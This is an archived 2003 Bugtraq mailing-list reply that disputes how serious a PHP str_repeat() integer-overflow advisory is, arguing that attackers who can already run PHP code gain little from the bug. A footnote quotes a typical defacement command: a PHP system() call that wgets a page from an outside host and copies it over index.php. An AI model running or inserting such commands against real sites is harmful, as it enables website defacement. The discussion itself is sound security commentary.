Re: @(#)Mordred Labs advisory - Integer overflow in PHP str_repeat() function

From: Goran Krajnovic (goran.krajnovic@hinet.hr)
Date: 04/03/03

  • Next message: KF: "SRT2003-04-03-1300 - Interbase ISC_LOCK_ENV overflow" 
    Date: Thu, 3 Apr 2003 08:39:03 +0200
From: Goran Krajnovic <goran.krajnovic@hinet.hr>
To: bugtraq@securityfocus.com

    On 2003.04.01 14:29 Sir Mordred wrote:
    > The implementation of this function suffers from a simple integer overflow
    > caused by
    > a very long second argument and could allow a local/remote attacker in the
    > worst case to gain control over the web server.

    This is a bit pointless, IMHO. 99% of PHP installations run the PHP code with
    the user-id of the web server process (usually a low privilege user like
    'nobody' or 'apache'). Exploiting one (of many) bugs in PHP to 'gain control
    over the web server' is like getting a remote shell on a machine and then
    running a buffer overflow exploit in order just to be able to run commands
    instead of typing them into the shell directly.

    If an attacker has the opportunity to execude PHP code of his choice on a
    target server [1], he does not need to exploit a buffer overflow in PHP just to
    get the privileges of the web server user - he already runs code with the
    privileges of that user. And having the ability to run PHP code gives him just
    about the same level of power as getting a non-root shell on the box.

    Searching on http://bugs.php.net will give you a lot more ways to crash PHP,
    and probably a number of these can be used to get a buffer overflow, but I
    don't think that reporting each of them here will solve anything. Report them
    to http://bugs.php.net.

    [1] Usually by exploiting some of the poor programming practices in some PHP
    applications, misconfigurations, or bugs. See
    http://www.securityfocus.com/bid/3889 for example. In a typical attack, this is
    used to execute code, and the code is usually system('wget
    http://another.exploited.host/defaced-index.php'); system('cp defaced-index.php
    index.php') or similar. 

    -- 
Goran Krajnoviæ,  dipl. ing.
[ Goran.Krajnovic@Hinet.hr ]
 Hrvatski Telekom - HThinet
  • Next message: KF: "SRT2003-04-03-1300 - Interbase ISC_LOCK_ENV overflow"

    Relevant Pages

    • Re: Security Question HELP
      ... PHP code at tops of pages to access a MySQL database? ... The best way to protect login and passwords for databases are to place those in it's own include file, closer to the root of the file system than what the web server can access. ...
      (alt.php)
    • Re: The 2nd last ever php thread
      ... used to understand HTML ... That would be a good question for a php beginners tv show. ... the web server recognises the .php file extension ... if found - the web server will examine and process the php code ...
      (uk.media.tv.misc)
    • Re: [PHP] why so slow?
      ... that way the Web Server will actually treat it as a php ... A Bad Guy can surf to them, and your PHP code gets executed completely ... Or, you could put your .inc files outside the web tree, and set ...
      (php.general)
    • Re: Encrypting PHP Code
      ... PHP code can be viewed from the web...if the PHP compilier ... This can happen briefly while you are upgrading PHP versions (if ... the web server is left up while doing it), ...
      (comp.lang.php)
    • I got it.
      ... >> grab a page, pass it to php if it has the php extension, get the ... >> having to write the php code to go with my program. ... but you will have to write out any environment variables that the ... > Are you running the perl script under a web server? ...
      (comp.lang.php)